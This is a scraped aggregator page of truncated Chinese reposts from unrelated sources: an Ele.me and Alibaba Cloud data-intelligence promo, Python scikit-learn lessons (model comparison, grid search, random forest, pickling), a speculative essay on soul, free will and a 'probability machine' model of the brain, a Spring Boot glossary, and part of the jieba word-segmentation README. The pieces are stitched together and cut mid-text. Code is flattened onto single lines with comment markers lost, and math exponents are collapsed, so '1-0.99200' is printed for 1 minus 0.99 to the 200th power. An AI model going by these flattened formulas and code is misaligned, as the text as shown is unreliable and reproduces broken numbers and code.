餐饮营销顾问:饿了么整体业务涉及C端(消费者)、B端(餐饮商户)、D端(物流配送)、BD端(地推营销),以往区域业务开拓考核新店数量,现在会重点关注餐饮外卖“健康度”,对于营业额忽高忽低、在线排名变化的餐饮店,都需要BD专家根据大数据帮助餐饮店经营者找出原因并给出解决建议,避免新店外卖刚开始就淹没在区域竞争中,销量平平的新店会离开平台,通过机器学习把餐饮运营专家的经验、以及人看不到的隐含规律固化下来,以数据决策来发现餐饮店经营问题、产品差异定位,让餐饮商户尝到甜头,才愿意继续经营。举个例子,饿了么员工都喜欢楼下一家鸡排店的午餐,但大数据发现这家店的外卖营收并不如实体店那么火爆,9元“鸡排+酸梅汁”是所有人都喜欢的爆款产品,可为什么同样菜品遭遇“线下火、线上冷”呢?数据预警后,BD顾问指出线上外卖鸡排产品没有写明“含免费酸梅汁一杯”的关键促销内容,导致大多数外卖消费者订一份鸡排一杯酸梅汁,却收到一份鸡排两杯酸梅汁,体验自然不好。 饿了么是数据驱动、智能算法调度的自动化生活服务平台,通过O2O数据的在线实时分析,与阿里云人工智能团队不断改进算法,以“全局最优”取代“局部最优”,保证平台上所有餐饮商户都能享受到数据智能的科技红利。 “上云用数”的外部价值诸多,从饿了么内部反馈来看,上云不仅没有让运维团队失去价值,反而带来了“云原生应用”(Cloud Native Application)、“云上多活”、“CDN云端压测”、“安全风控一体化”等创新路径与方案,通过敏捷基础设施(IaaS)、微服务架构(PaaS和SaaS)、持续交付管理、DevOps等云最佳实践,摆脱“人肉”支撑的种种困境,进而实现更快的上线速度、细致的故障探测和发现、故障时能自动隔离、故障时能够自动恢复、方便的水平扩容。饿了么CTO张雪峰先生说:“互联网平台型组织,业务量涨数倍,企业人数稳定降低,才是技术驱动的正确商业模式。” 在不久的将来,你每天订餐、出行、娱乐、工作留下的大数据,会“驯养”出无处不在、无所不能的智能机器人管家,家庭助理帮你点菜,无人机为你送餐,聊天机器人接受你的投诉……当然这个无比美妙的“未来世界”背后,皆有阿里云的数据智能母体“ET”。 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_34126557/article/details/90592502。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-31 14:48:26
343
转载
转载文章
...互比较同一算法的不同配置。 创建比较算法的结果图。 下面的示例在皮马印第安人发病的糖尿病数据集中将Logistic回归和线性判别分析进行了比较。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 Compare Algorithms from pandas import read_csv from sklearn.model_selection import KFold from sklearn.model_selection import cross_val_score from sklearn.linear_model import LogisticRegression from sklearn.discriminant_analysis import LinearDiscriminantAnalysis load dataset url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = read_csv(url, names=names) array = dataframe.values X = array[:,0:8] Y = array[:,8] prepare models models = [] models.append(('LR', LogisticRegression(solver='liblinear'))) models.append(('LDA', LinearDiscriminantAnalysis())) evaluate each model in turn results = [] names = [] scoring = 'accuracy' for name, model in models: kfold = KFold(n_splits=10, random_state=7) cv_results = cross_val_score(model, X, Y, cv=kfold, scoring=scoring) results.append(cv_results) names.append(name) msg = "%s: %f (%f)" % (name, cv_results.mean(), cv_results.std()) print(msg) 哪种算法效果更好?你能做得更好吗?在评论中让我知道。 第11课:通过算法调整提高准确性 一旦找到一种或两种在数据集上表现良好的算法,您可能希望提高这些模型的性能。 提高算法性能的一种方法是将其参数调整为特定的数据集。 scikit-learn库提供了两种方法来搜索机器学习算法的参数组合。在今天的课程中,您的目标是练习每个。 使用您指定的网格搜索来调整算法的参数。 使用随机搜索调整算法的参数。 下面使用的代码段是一个示例,该示例使用网格搜索在Pima Indians糖尿病发病数据集上的Ridge回归算法。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Grid Search for Algorithm Tuning from pandas import read_csv import numpy from sklearn.linear_model import Ridge from sklearn.model_selection import GridSearchCV url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = read_csv(url, names=names) array = dataframe.values X = array[:,0:8] Y = array[:,8] alphas = numpy.array([1,0.1,0.01,0.001,0.0001,0]) param_grid = dict(alpha=alphas) model = Ridge() grid = GridSearchCV(estimator=model, param_grid=param_grid, cv=3) grid.fit(X, Y) print(grid.best_score_) print(grid.best_estimator_.alpha) 哪些参数取得最佳效果?你能做得更好吗?在评论中让我知道。 第12课:利用集合预测提高准确性 您可以提高模型性能的另一种方法是组合来自多个模型的预测。 一些模型提供了内置的此功能,例如用于装袋的随机森林和用于增强的随机梯度增强。可以使用另一种称为投票的合奏将来自多个不同模型的预测组合在一起。 在今天的课程中,您将练习使用合奏方法。 使用随机森林和多余树木算法练习装袋。 使用梯度增强机和AdaBoost算法练习增强合奏。 通过将来自多个模型的预测组合在一起来练习投票合奏。 下面的代码段演示了如何在Pima Indians糖尿病发病数据集上使用随机森林算法(袋装决策树集合)。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Random Forest Classification from pandas import read_csv from sklearn.model_selection import KFold from sklearn.model_selection import cross_val_score from sklearn.ensemble import RandomForestClassifier url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = read_csv(url, names=names) array = dataframe.values X = array[:,0:8] Y = array[:,8] num_trees = 100 max_features = 3 kfold = KFold(n_splits=10, random_state=7) model = RandomForestClassifier(n_estimators=num_trees, max_features=max_features) results = cross_val_score(model, X, Y, cv=kfold) print(results.mean()) 你能设计出更好的合奏吗?在评论中让我知道。 第13课:完成并保存模型 找到有关机器学习问题的良好模型后,您需要完成该模型。 在今天的课程中,您将练习与完成模型有关的任务。 练习使用模型对新数据(在训练和测试过程中看不到的数据)进行预测。 练习将经过训练的模型保存到文件中,然后再次加载。 例如,下面的代码片段显示了如何创建Logistic回归模型,将其保存到文件中,之后再加载它以及对看不见的数据进行预测。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 Save Model Using Pickle from pandas import read_csv from sklearn.model_selection import train_test_split from sklearn.linear_model import LogisticRegression import pickle url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = read_csv(url, names=names) array = dataframe.values X = array[:,0:8] Y = array[:,8] test_size = 0.33 seed = 7 X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=test_size, random_state=seed) Fit the model on 33% model = LogisticRegression(solver='liblinear') model.fit(X_train, Y_train) save the model to disk filename = 'finalized_model.sav' pickle.dump(model, open(filename, 'wb')) some time later... load the model from disk loaded_model = pickle.load(open(filename, 'rb')) result = loaded_model.score(X_test, Y_test) print(result) 第14课:Hello World端到端项目 您现在知道如何完成预测建模机器学习问题的每个任务。 在今天的课程中,您需要练习将各个部分组合在一起,并通过端到端的标准机器学习数据集进行操作。 端到端遍历虹膜数据集(机器学习的世界) 这包括以下步骤: 使用描述性统计数据和可视化了解您的数据。 预处理数据以最好地揭示问题的结构。 使用您自己的测试工具抽查多种算法。 使用算法参数调整来改善结果。 使用集成方法改善结果。 最终确定模型以备将来使用。 慢慢进行,并记录结果。 您使用什么型号?您得到了什么结果?在评论中让我知道。 结束! (看你走了多远) 你做到了。做得好! 花一点时间,回头看看你已经走了多远。 您最初对机器学习感兴趣,并强烈希望能够使用Python练习和应用机器学习。 您可能是第一次下载,安装并启动Python,并开始熟悉该语言的语法。 在许多课程中,您逐渐地,稳定地学习了预测建模机器学习项目的标准任务如何映射到Python平台上。 基于常见机器学习任务的配方,您使用Python端到端解决了第一个机器学习问题。 使用标准模板,您所收集的食谱和经验现在可以自行解决新的和不同的预测建模机器学习问题。 不要轻描淡写,您在短时间内就取得了长足的进步。 这只是您使用Python进行机器学习的起点。继续练习和发展自己的技能。 喜欢点下关注,你的关注是我写作的最大支持 本篇文章为转载内容。原文链接:https://blog.csdn.net/m0_37337849/article/details/104016531。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-07-11 10:04:06
92
转载
转载文章
...在这样一个信号的传递网络里,究竟有哪一步,是需要“灵魂”来控制的。思前想后,好像并没有必须存在的那么一个步骤。也就是可能,前者所描述的那个信号传递步骤,适用于所有生物,当然也包括人类。 简单的总结 简单的总结一下,关于确定存在的心流和不确定存在的灵魂。 首先,心流是确定存在,并且存在与所有生物当中,是生物进化产生的,为了更好的活着。其中,记忆储存的是之前的心流状态,当然不是全部的心流状态;感觉是当时的生物内部信号的一种状态,成为现态;欲望是一种内部输出,欲望,感觉和记忆相结合再结合会产生对外部的输出。 其次,“灵魂”在这里表示为一个个体的有且唯一的存在。它不参与生物的任何过程,但是却有选择的监视生物的心流。也可以这样说,生物体本身有选择的展示一部分心流以供灵魂检阅,灵魂也是从生物所展示的心流中有选择的检阅。这才是人类的特质。我们真正的自我,就是这样一个有且唯一的灵魂,它无法介入它所在的生物体的任何事情,但是可以在一定程度上知道它所在的生物体的状态。 也可以这样理解,生物体本身是一个封装的很好的复杂程序,心流则是程序的内部变量,程序不断的接收外部输入并向外部输出,我们本身的灵魂所在则置身于程序之外,就像我们坐在电脑前,无法知道这个复杂程序究竟是如何运行的,但是通过它输出在显示屏中的一些内部变量,即心流的一些数据,我们可以大致的判断出,程序在干些什么。对于这样的解释你可能难以接受,接下来的两个例子或许会让你接受这一事实。 现在科学家只要扫描人脑,就能在测试者自己有所感知之前,预测他们会有什么欲望,会做出怎样的决定。例如,在一次实验中,受试者躺在一台巨大的脑部设备里,两手各自拿着一个开关,受试者可以随机的选择在何时按下那个开关。而科学家通过观察受试者的大脑神经活动,就能在受试者做决定之前知道受试者做了怎样的决定。也就是说,当这些内部输出被外部观测者“灵魂”所察觉的时候,心流自身已经做出了决定。7 或许你没有亲自做过这个实验,并不相信实验的结论,但是还有一个实验,你现在就可以给自己做一个测试。相信对于大家心算100以内的乘法没有什么问题,那么请各位充分运用自己的自由意志,即本文中的“灵魂”去控制你的大脑心算5672,注意在计算的过程中不要让自己的大脑去思考其他的任何事情,用尽快的速度计算出结果。当然,你会发现你根本做不到,无论如何你都无法控制那先奇奇怪怪的想法出现在你的大脑里,至于大脑为什么会像你控制的那样去计算5672,接下来我会给出人类的大脑思维模型。 生物的模型 生物的模型分为两部分,一部分我称为确定机,一部分我称为概率机。 确定机 确定机是指只要输入确定,那么就会产生确定输出的部分,而对于输入的概率性则不予考虑。例如,当生物多次看到同一个画面的时候会在大脑里形成同样的图像,因为每次输入的光信号都是一样的,在生物内部进行的信号传递过程也是一样的,所以在大脑里形成的图像输出也是一样的。现在人类所生产的绝大多数工具就是一个确定机的模型,如果相同的输入,不管输入多少次都会得到相同的输出。确定机也是生物模型的基础部分,构成生物的绝大部分,实际上,除了大脑,生物的任何部分都是一个确定机的模型,而大脑也有一部分的确定机模型。对于确定机,所有的内部过程和输出都不会被“灵魂”检阅,当然生物上可以通过解剖或其他更先进的方式去检查生物内部确定机的工作状态。 概率机 概率机是指即使输入确定,输出的确定性也指限制在一定的概率范围之内,会以不同但是给定的概率输出多个输出。当然给定的概率可以是确定机给出的确定概率(只在输入确定的情况下才确定),也可以是概率机给出的概率概率。概率机构成生物的大脑部分,当然一部分低等生物只由确定机构成。对于概率机,有一部分输出会被“灵魂”检阅,而“灵魂”是否检阅取决于“灵魂”本身,当然,对于概率机的工作状态,也可以通过解剖或其他更先进的方式去检查。 生物思考的过程 对于不同的生物,大脑可以同时进行的事情是有限的。就像现在的电脑手机一样,有严格的内存限制,对于大脑来说,同时启用着多个线程,每个线程所占用的内存不同,但是所有线程所占用的内存总和不得超限。对于每个线程,会随机的考虑一些事件,这些事件包括记忆中的事件,和当时正在发生的事件,对于每个事件出现在线程中的概率不同。 不同事件的概率遵循的规律大致有以下几条: 1.对记忆中的事件,事件越久远概率越低。 2.对当时正在发生的事件,概率大致相同。 3.与当时线程中事件有关的事件概率高,无关的概率低。 4.与线程中的事件相关的个数越多,概率越高 5.对不同的心流状态,概率分配有所不同。 6.每个个体对不同的事件有不同的概率分配方案。 7.待补充。 可以说,大脑中的一切过程都是随机的。那这样的话,生物的思考过程究竟如何进行呢?其实很简单,单个概率可能代表随机,但是多个概率就有可能表示必然。我还是举那个5672的例子,为什么你会真的去心算这个结果,大致的过程是这样的,如果大脑的思考频率以毫秒计的话,假设看5672用了200毫秒,其中每毫秒除了这一事件,还有其他的99个事件,那么刚看完就开始计算的概率为1-0.99200=0.8660203251,看完后1秒之内还没有开始计算的概率为0.991000= 4.31712474107 e-5,可以说即使大脑中随机的杂念再多,思考的过程也会如约开始。假设线程中与事件相关的事件出现的概率为0.3,同理,在开始计算后1秒内大部分时间都在思考与计算有关的内容,当然也有可能会走神,即出现大范围的无关事件,但是这只会影响最后计算出结果的时间先后,并不会影响整个过程的进行。这也就是说,大脑的思考过程,其实就是由多个概率所确定的必然事件。 灵魂的旁观者 综上所述,作为个体唯一存在的“灵魂”处在一个旁观者的位置,而所谓的自由意识,主观意识不过是概率机的产物。那么这样就产生了两个问题。 第一个问题,你不觉得“灵魂”所在的肉体更像是一个囚笼吗?“灵魂”可以偶尔窥探外界,但无法做任何事情,只能默默得看着一切发生。尴尬的以为是自己做的,实际上就像看电影,每次看电影的时候,我都会以为我处在电影里面的世界。而现实就是,因为“灵魂”只能看肉体主演的这部“电影”,所以看的入迷了。其实,人类从解放双手,开发智力,使用工具,到探索宇宙,最大的进步莫过于发现自己其实仍处于囚笼之中。要怪就怪这囚笼建造地太过美好。而创建这一囚笼的“上帝”,把我们关在肉体这个囚笼里面,并且把我们的感知限制在有限的范围内,有限的嗅觉,16至20000赫兹的听觉,400纳米到700纳米的视觉,在感知中隔绝了我们对我们的唯一存在——“灵魂”的感知。 第二个问题,对于自己本身来说,表征自己存在的“灵魂”自己是可以确定的,而对于其他人,因为限制了对“灵魂”的感知,所以无法确认别人,别的生物体内这一旁观者的存在。也可以这么理解,你知道自己被关在一间囚笼里面,而不知道隔壁囚笼是否也关了一个存在。那么世界这个大监狱里面,可能只有一小部分,甚至只有你一个孤独的存在。而究竟为何我们或我被困于此,我不得而知,可能就像我们做研究的时候的小白鼠一样,“上帝”也在观察着我们或我的一举一动,这也是我这篇文章取这个题目的原因。小白鼠的逆袭,一开始我只是平凡的活着,说实在的其实做一个平凡人安安稳稳的一生还是很不错的,但是知道了这个囚笼的存在,就总想着打破它,因为在想到可能只有自己一个存在的时候,会是多么的孤独。就像一个人去看电影,哪怕电影的内容再精彩,再引人入胜,但当电影结束的时候,你才发现,原来我是一个人来的呀。 联系作者 有志向联系读者的:1612860@mail.nankai.edu.cn 未完待续。。。 本篇文章相当于《小白鼠的逆袭》的导读,下一篇我会出逆袭第一步:《思考的最简单模型及其编程实现》,可能用C++,也可能用Java,Python,看作者的心情吧。预计近几个月出吧,快则个把月,多则不知道了,毕竟作者本身还是比较忙的,忙七忙八也不知道在忙什么,嗯,就这样。 小号:在有多个游戏账号的前提下,等级高的号叫作大号,等级较低或者新创建的号叫作小号。 ↩︎ https://baijiahao.baidu.com/s?id=1586028525096880374&wfr=spider&for=pc. ↩︎ http://tieba.baidu.com/p/5127924201. ↩︎ http://tieba.baidu.com/p/5127924201. ↩︎ http://www.lwlm.com/sixiangzhexue/201704/840820.htm. ↩︎ 详细讨论请参见:《未来简史:从智人到智神》第三章:人类的特质。 ↩︎ “Unconscious determinants of free decisions in the human brain” in nature neuroscience, http://www.rifters.com/real/articles/NatureNeuroScience_Soon_et_al.pdf. ↩︎ 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_39384184/article/details/79288150。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-02 11:30:59
620
转载
转载文章
...整个应用的启动、自动配置、组件扫描等功能,使得开发者能够快速搭建稳定、高效且易于维护的后端服务,例如定义Service和Controller层接口并实现相关业务逻辑。 Timestamp , Timestamp是一种数据库中的时间戳类型,表示从1970年1月1日(UTC/GMT的午夜)开始所经过的秒数,精确到微秒级别。在文中提到的SeckillGoods实体类中,startDate和endDate字段采用了Timestamp类型,以便精确记录秒杀活动的开始和结束时间,并使用DateTimeFormat注解进行格式化处理,确保与前端展示的时间格式一致。 VO(Value Object) , VO是值对象(Value Object)的简称,在面向对象编程领域中,VO通常用来封装从数据库查询或由用户输入的数据,仅包含属性以及它们的getter和setter方法,不包含行为。在本文中,创建了SeckillGoodsVo这个实体类VO,用于连表查询时接收和展示商品名字等多张表的关联数据,便于前后端之间的数据传输和展示。 前后端分离架构 , 前后端分离架构是一种常见的Web应用程序设计模式,其中前端专注于用户界面的设计和交互逻辑,而后端则关注业务逻辑处理、数据存储和API接口提供。在本篇文章中,前端通过Ajax请求调用后端提供的RESTful API获取数据并渲染页面,实现了前后端职责清晰、开发并行且可独立部署升级的现代Web应用架构。
2023-02-25 23:20:34
121
转载
转载文章
...列标注(双向GRU)网络模型实现分词。同时支持词性标注。paddle模式使用需安装paddlepaddle-tiny,pip install paddlepaddle-tiny==1.6.1。目前paddle模式支持jieba v0.40及以上版本。jieba v0.40以下版本,请升级jieba,pip install jieba --upgrade 。PaddlePaddle官网 支持繁体分词 支持自定义词典 MIT 授权协议 安装说明 代码对 Python 2/3 均兼容 全自动安装:easy_install jieba 或者 pip install jieba / pip3 install jieba 半自动安装:先下载 http://pypi.python.org/pypi/jieba/ ,解压后运行 python setup.py install 手动安装:将 jieba 目录放置于当前目录或者 site-packages 目录 通过 import jieba 来引用 如果需要使用paddle模式下的分词和词性标注功能,请先安装paddlepaddle-tiny,pip install paddlepaddle-tiny==1.6.1。 算法 基于前缀词典实现高效的词图扫描,生成句子中汉字所有可能成词情况所构成的有向无环图 (DAG) 采用了动态规划查找最大概率路径, 找出基于词频的最大切分组合 对于未登录词,采用了基于汉字成词能力的 HMM 模型,使用了 Viterbi 算法 主要功能 分词 jieba.cut 方法接受四个输入参数: 需要分词的字符串;cut_all 参数用来控制是否采用全模式;HMM 参数用来控制是否使用 HMM 模型;use_paddle 参数用来控制是否使用paddle模式下的分词模式,paddle模式采用延迟加载方式,通过enable_paddle接口安装paddlepaddle-tiny,并且import相关代码; jieba.cut_for_search 方法接受两个参数:需要分词的字符串;是否使用 HMM 模型。该方法适合用于搜索引擎构建倒排索引的分词,粒度比较细 待分词的字符串可以是 unicode 或 UTF-8 字符串、GBK 字符串。注意:不建议直接输入 GBK 字符串,可能无法预料地错误解码成 UTF-8 jieba.cut 以及 jieba.cut_for_search 返回的结构都是一个可迭代的 generator,可以使用 for 循环来获得分词后得到的每一个词语(unicode),或者用 jieba.lcut 以及 jieba.lcut_for_search 直接返回 list jieba.Tokenizer(dictionary=DEFAULT_DICT) 新建自定义分词器,可用于同时使用不同词典。jieba.dt 为默认分词器,所有全局分词相关函数都是该分词器的映射。 代码示例 encoding=utf-8import jiebajieba.enable_paddle() 启动paddle模式。 0.40版之后开始支持,早期版本不支持strs=["我来到北京清华大学","乒乓球拍卖完了","中国科学技术大学"]for str in strs:seg_list = jieba.cut(str,use_paddle=True) 使用paddle模式print("Paddle Mode: " + '/'.join(list(seg_list)))seg_list = jieba.cut("我来到北京清华大学", cut_all=True)print("Full Mode: " + "/ ".join(seg_list)) 全模式seg_list = jieba.cut("我来到北京清华大学", cut_all=False)print("Default Mode: " + "/ ".join(seg_list)) 精确模式seg_list = jieba.cut("他来到了网易杭研大厦") 默认是精确模式print(", ".join(seg_list))seg_list = jieba.cut_for_search("小明硕士毕业于中国科学院计算所,后在日本京都大学深造") 搜索引擎模式print(", ".join(seg_list)) 输出: 【全模式】: 我/ 来到/ 北京/ 清华/ 清华大学/ 华大/ 大学【精确模式】: 我/ 来到/ 北京/ 清华大学【新词识别】:他, 来到, 了, 网易, 杭研, 大厦 (此处,“杭研”并没有在词典中,但是也被Viterbi算法识别出来了)【搜索引擎模式】: 小明, 硕士, 毕业, 于, 中国, 科学, 学院, 科学院, 中国科学院, 计算, 计算所, 后, 在, 日本, 京都, 大学, 日本京都大学, 深造 添加自定义词典 载入词典 开发者可以指定自己自定义的词典,以便包含 jieba 词库里没有的词。虽然 jieba 有新词识别能力,但是自行添加新词可以保证更高的正确率 用法: jieba.load_userdict(file_name) file_name 为文件类对象或自定义词典的路径 词典格式和 dict.txt 一样,一个词占一行;每一行分三部分:词语、词频(可省略)、词性(可省略),用空格隔开,顺序不可颠倒。file_name 若为路径或二进制方式打开的文件,则文件必须为 UTF-8 编码。 词频省略时使用自动计算的能保证分出该词的词频。 例如: 创新办 3 i云计算 5凱特琳 nz台中 更改分词器(默认为 jieba.dt)的 tmp_dir 和 cache_file 属性,可分别指定缓存文件所在的文件夹及其文件名,用于受限的文件系统。 范例: 自定义词典:https://github.com/fxsjy/jieba/blob/master/test/userdict.txt 用法示例:https://github.com/fxsjy/jieba/blob/master/test/test_userdict.py 之前: 李小福 / 是 / 创新 / 办 / 主任 / 也 / 是 / 云 / 计算 / 方面 / 的 / 专家 / 加载自定义词库后: 李小福 / 是 / 创新办 / 主任 / 也 / 是 / 云计算 / 方面 / 的 / 专家 / 调整词典 使用 add_word(word, freq=None, tag=None) 和 del_word(word) 可在程序中动态修改词典。 使用 suggest_freq(segment, tune=True) 可调节单个词语的词频,使其能(或不能)被分出来。 注意:自动计算的词频在使用 HMM 新词发现功能时可能无效。 代码示例: >>> print('/'.join(jieba.cut('如果放到post中将出错。', HMM=False)))如果/放到/post/中将/出错/。>>> jieba.suggest_freq(('中', '将'), True)494>>> print('/'.join(jieba.cut('如果放到post中将出错。', HMM=False)))如果/放到/post/中/将/出错/。>>> print('/'.join(jieba.cut('「台中」正确应该不会被切开', HMM=False)))「/台/中/」/正确/应该/不会/被/切开>>> jieba.suggest_freq('台中', True)69>>> print('/'.join(jieba.cut('「台中」正确应该不会被切开', HMM=False)))「/台中/」/正确/应该/不会/被/切开 “通过用户自定义词典来增强歧义纠错能力” — https://github.com/fxsjy/jieba/issues/14 关键词提取 基于 TF-IDF 算法的关键词抽取 import jieba.analyse jieba.analyse.extract_tags(sentence, topK=20, withWeight=False, allowPOS=()) sentence 为待提取的文本 topK 为返回几个 TF/IDF 权重最大的关键词,默认值为 20 withWeight 为是否一并返回关键词权重值,默认值为 False allowPOS 仅包括指定词性的词,默认值为空,即不筛选 jieba.analyse.TFIDF(idf_path=None) 新建 TFIDF 实例,idf_path 为 IDF 频率文件 代码示例 (关键词提取) https://github.com/fxsjy/jieba/blob/master/test/extract_tags.py 关键词提取所使用逆向文件频率(IDF)文本语料库可以切换成自定义语料库的路径 用法: jieba.analyse.set_idf_path(file_name) file_name为自定义语料库的路径 自定义语料库示例:https://github.com/fxsjy/jieba/blob/master/extra_dict/idf.txt.big 用法示例:https://github.com/fxsjy/jieba/blob/master/test/extract_tags_idfpath.py 关键词提取所使用停止词(Stop Words)文本语料库可以切换成自定义语料库的路径 用法: jieba.analyse.set_stop_words(file_name) file_name为自定义语料库的路径 自定义语料库示例:https://github.com/fxsjy/jieba/blob/master/extra_dict/stop_words.txt 用法示例:https://github.com/fxsjy/jieba/blob/master/test/extract_tags_stop_words.py 关键词一并返回关键词权重值示例 用法示例:https://github.com/fxsjy/jieba/blob/master/test/extract_tags_with_weight.py 基于 TextRank 算法的关键词抽取 jieba.analyse.textrank(sentence, topK=20, withWeight=False, allowPOS=(‘ns’, ‘n’, ‘vn’, ‘v’)) 直接使用,接口相同,注意默认过滤词性。 jieba.analyse.TextRank() 新建自定义 TextRank 实例 算法论文: TextRank: Bringing Order into Texts 基本思想: 将待抽取关键词的文本进行分词 以固定窗口大小(默认为5,通过span属性调整),词之间的共现关系,构建图 计算图中节点的PageRank,注意是无向带权图 使用示例: 见 test/demo.py 词性标注 jieba.posseg.POSTokenizer(tokenizer=None) 新建自定义分词器,tokenizer 参数可指定内部使用的 jieba.Tokenizer 分词器。jieba.posseg.dt 为默认词性标注分词器。 标注句子分词后每个词的词性,采用和 ictclas 兼容的标记法。 除了jieba默认分词模式,提供paddle模式下的词性标注功能。paddle模式采用延迟加载方式,通过enable_paddle()安装paddlepaddle-tiny,并且import相关代码; 用法示例 >>> import jieba>>> import jieba.posseg as pseg>>> words = pseg.cut("我爱北京天安门") jieba默认模式>>> jieba.enable_paddle() 启动paddle模式。 0.40版之后开始支持,早期版本不支持>>> words = pseg.cut("我爱北京天安门",use_paddle=True) paddle模式>>> for word, flag in words:... print('%s %s' % (word, flag))...我 r爱 v北京 ns天安门 ns paddle模式词性标注对应表如下: paddle模式词性和专名类别标签集合如下表,其中词性标签 24 个(小写字母),专名类别标签 4 个(大写字母)。 标签 含义 标签 含义 标签 含义 标签 含义 n 普通名词 f 方位名词 s 处所名词 t 时间 nr 人名 ns 地名 nt 机构名 nw 作品名 nz 其他专名 v 普通动词 vd 动副词 vn 名动词 a 形容词 ad 副形词 an 名形词 d 副词 m 数量词 q 量词 r 代词 p 介词 c 连词 u 助词 xc 其他虚词 w 标点符号 PER 人名 LOC 地名 ORG 机构名 TIME 时间 并行分词 原理:将目标文本按行分隔后,把各行文本分配到多个 Python 进程并行分词,然后归并结果,从而获得分词速度的可观提升 基于 python 自带的 multiprocessing 模块,目前暂不支持 Windows 用法: jieba.enable_parallel(4) 开启并行分词模式,参数为并行进程数 jieba.disable_parallel() 关闭并行分词模式 例子:https://github.com/fxsjy/jieba/blob/master/test/parallel/test_file.py 实验结果:在 4 核 3.4GHz Linux 机器上,对金庸全集进行精确分词,获得了 1MB/s 的速度,是单进程版的 3.3 倍。 注意:并行分词仅支持默认分词器 jieba.dt 和 jieba.posseg.dt。 Tokenize:返回词语在原文的起止位置 注意,输入参数只接受 unicode 默认模式 result = jieba.tokenize(u'永和服装饰品有限公司')for tk in result:print("word %s\t\t start: %d \t\t end:%d" % (tk[0],tk[1],tk[2])) word 永和 start: 0 end:2word 服装 start: 2 end:4word 饰品 start: 4 end:6word 有限公司 start: 6 end:10 搜索模式 result = jieba.tokenize(u'永和服装饰品有限公司', mode='search')for tk in result:print("word %s\t\t start: %d \t\t end:%d" % (tk[0],tk[1],tk[2])) word 永和 start: 0 end:2word 服装 start: 2 end:4word 饰品 start: 4 end:6word 有限 start: 6 end:8word 公司 start: 8 end:10word 有限公司 start: 6 end:10 ChineseAnalyzer for Whoosh 搜索引擎 引用: from jieba.analyse import ChineseAnalyzer 用法示例:https://github.com/fxsjy/jieba/blob/master/test/test_whoosh.py 命令行分词 使用示例:python -m jieba news.txt > cut_result.txt 命令行选项(翻译): 使用: python -m jieba [options] filename结巴命令行界面。固定参数:filename 输入文件可选参数:-h, --help 显示此帮助信息并退出-d [DELIM], --delimiter [DELIM]使用 DELIM 分隔词语,而不是用默认的' / '。若不指定 DELIM,则使用一个空格分隔。-p [DELIM], --pos [DELIM]启用词性标注;如果指定 DELIM,词语和词性之间用它分隔,否则用 _ 分隔-D DICT, --dict DICT 使用 DICT 代替默认词典-u USER_DICT, --user-dict USER_DICT使用 USER_DICT 作为附加词典,与默认词典或自定义词典配合使用-a, --cut-all 全模式分词(不支持词性标注)-n, --no-hmm 不使用隐含马尔可夫模型-q, --quiet 不输出载入信息到 STDERR-V, --version 显示版本信息并退出如果没有指定文件名,则使用标准输入。 --help 选项输出: $> python -m jieba --helpJieba command line interface.positional arguments:filename input fileoptional arguments:-h, --help show this help message and exit-d [DELIM], --delimiter [DELIM]use DELIM instead of ' / ' for word delimiter; or aspace if it is used without DELIM-p [DELIM], --pos [DELIM]enable POS tagging; if DELIM is specified, use DELIMinstead of '_' for POS delimiter-D DICT, --dict DICT use DICT as dictionary-u USER_DICT, --user-dict USER_DICTuse USER_DICT together with the default dictionary orDICT (if specified)-a, --cut-all full pattern cutting (ignored with POS tagging)-n, --no-hmm don't use the Hidden Markov Model-q, --quiet don't print loading messages to stderr-V, --version show program's version number and exitIf no filename specified, use STDIN instead. 延迟加载机制 jieba 采用延迟加载,import jieba 和 jieba.Tokenizer() 不会立即触发词典的加载,一旦有必要才开始加载词典构建前缀字典。如果你想手工初始 jieba,也可以手动初始化。 import jiebajieba.initialize() 手动初始化(可选) 在 0.28 之前的版本是不能指定主词典的路径的,有了延迟加载机制后,你可以改变主词典的路径: jieba.set_dictionary('data/dict.txt.big') 例子: https://github.com/fxsjy/jieba/blob/master/test/test_change_dictpath.py 其他词典 占用内存较小的词典文件 https://github.com/fxsjy/jieba/raw/master/extra_dict/dict.txt.small 支持繁体分词更好的词典文件 https://github.com/fxsjy/jieba/raw/master/extra_dict/dict.txt.big 下载你所需要的词典,然后覆盖 jieba/dict.txt 即可;或者用 jieba.set_dictionary('data/dict.txt.big') 其他语言实现 结巴分词 Java 版本 作者:piaolingxue 地址:https://github.com/huaban/jieba-analysis 结巴分词 C++ 版本 作者:yanyiwu 地址:https://github.com/yanyiwu/cppjieba 结巴分词 